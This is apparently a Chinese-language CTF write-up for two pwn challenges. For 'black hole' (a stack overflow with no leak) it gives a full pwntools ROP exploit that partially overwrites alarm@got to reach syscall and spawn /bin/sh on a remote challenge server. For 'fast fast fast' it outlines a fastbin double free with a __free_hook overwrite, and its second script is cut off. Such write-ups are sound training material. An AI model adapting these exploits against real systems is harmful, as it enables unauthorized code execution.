简单分析下这几个题目,具体调试我就不再截图了
black hole 这个题目是Pxx师傅出的,考点大概是在没有leak,又没有libc的情况下如何去getshell吧。
我们看看IDA找到的地方。 我们先进主函数
1 2 3 4 5 6 7 void __fastcall __noreturn main(__int64 a1, char **a2, char **a3){ alarm(0x60 u); while ( check() == 2333 ) overflowme(); exit_(0x60 ); }
我们进入漏洞函数,我们基本可以看出来,这是一个很简单的栈溢出。
1 2 3 4 5 6 size_t sub_4006CC() { char ptr; return fread(&ptr, 1 uLL, 0x20 uLL, stdin); }
既然我们已经找到漏洞的地方,现在就是考虑如何去利用他,然后如何编写exp的事情了。问题,这个题目是没有leak的,于是我和muhe一起掉到了一个坑里->ret2dlresolve
正确的做法应该是: 不断ret到main函数,循环读取输入,写完payload之后,ret到ret这个gadgets,去执行ROP。 因为是动态链接x64的程序,所以ROP构造直接使用通型gadgets去构造。覆盖alarm@got最后一字节,爆破的手段,找到syscall…然后就是布置好寄存器,起shell了。
如果对通用型gadgets有问题,可以去看看蒸米的文章。过段时间,我复习的时候应该也会写个文章的。
最后exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import *context.log_level = 'debug' context.arch='amd64' LOCAL = False if LOCAL: p = process('black_hole' ) else : p = remote("106.75.66.195" ,11003 ) main_addr = 0x0000000000400704 token = 2333 def write_stack (data ): p.sendline(str (token)) sleep(1 ) payload = data.rjust(0x18 ,'A' ) + p64(main_addr) sleep(1 ) p.send(payload) gadget_1 = 0x00000000004007A6 gadget_2 = 0x0000000000400790 addr_got_read = 0x0000000000601028 addr_bss = 0x000000000601058 addr_got_alarm = 0x0000000000601020 def com_gadget (part1, part2, jmp2, arg1 = 0x0 , arg2 = 0x0 , arg3 = 0x0 ,Flag=True ): if Flag: pl = p64(part1) pl += p64(0 ) pl += p64(0x0 ) pl += p64(0x1 ) pl += p64(jmp2) pl += p64(arg3) pl += p64(arg2) pl += p64(arg1) pl += p64(part2) return pl else : pl = p64(0 ) pl += p64(0x0 ) pl += p64(0x1 ) pl += p64(jmp2) pl += p64(arg3) pl += p64(arg2) pl += p64(arg1) pl += p64(part2) return pl payload = com_gadget(gadget_1,gadget_2,addr_got_read,arg1=0x0 ,arg2=addr_got_alarm,arg3=1 ) payload += com_gadget(gadget_1,gadget_2,addr_got_read,arg1=0x0 ,arg2=addr_bss,arg3=0x3B ,Flag=False ) payload += com_gadget(gadget_1,gadget_2,addr_bss+8 ,arg1=addr_bss,arg2=0x0 ,arg3=0x0 ,Flag=False ) def main (): print payload for i in xrange(len (payload), 0 , -8 ): print i write_stack(payload[i-8 :i]) sleep(1 ) raw_input('0x00000000004006F5 ' ) p.sendline(str (token)) p.send("A" *0x18 + p64(0x00000000004006CB )) sleep(1 ) off = 5 p.send(str (off)) sleep(1 ) payload2 = "/bin/sh\x00" payload2 += p64(0x0000000000400540 ) payload2 += (0x3B - len (payload2) - 1 ) * "A" p.sendline(payload2) p.interactive() if __name__ == '__main__' : main()
fast fast fast 一个多重释放的题目,我想这个题目,用来做demo,写个double free的分析。 fastbin的利用,目标就是控制fd指针,然后分配到自己想要的地址,正好全局指针都在.bss。 程序的漏洞是double free。
1 2 3 4 5 6 7 8 __int64 __fastcall delet (__int64 ptr) { __int64 result; free (*(_QWORD *)(ptr + 16 )); result = ptr; *(_QWORD *)ptr = 0LL ; return result; }
利用过程:
分配一个fastbin,然后释放掉
分配一个smallbin,然后释放fastbin(其实这里释放的是smallbin)
再次分配刚才释放掉的块(fastbin的菜单里)
编辑释放块,这里要伪造chunk
调用saysercrt()分配fastbin
分配的想要的块(得到一个.bss上的指针)
之后利用edit功能,可以完成任意地址读写
不过要注意的是,因为程序是静态连接的,我们需要得到一个任意地址读,所以我们选择覆盖.bss:00000000006C3750 __free_hook dq ? ; DATA XREF: ptmalloc_lock_all+CDr
为.text:00000000004082A0 sub rsp, 0D8h ; Alternative name is '_IO_printf'
由于开了NX 我们需要,ROP起shell(syscall那种),要么mprotect改写内存属性执行写进去的sc。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #!/usr/bin/python #edit by ysyy@NeSE from pwn import * from time import sleep from sys import argv from autorop import * #s = remote('127.0.0.1',4545) s = remote('106.75.66.195',11001) #s = remote(lhost,lport,timeout=1.5) #context.log_level = 'debug' sleep(0.5 ) def fastbin () : s.sendline ('1' ) s.recvuntil('3 : delet\n') def normalchunk () : s.sendline ('2' ) s.recvuntil('3 : del
参考 wp http://bbs.ichunqiu.com/thread-18979-1-1.html muhe博客 http://o0xmuhe.me/2017/02/16/ichunqiu-CTF-2017-2/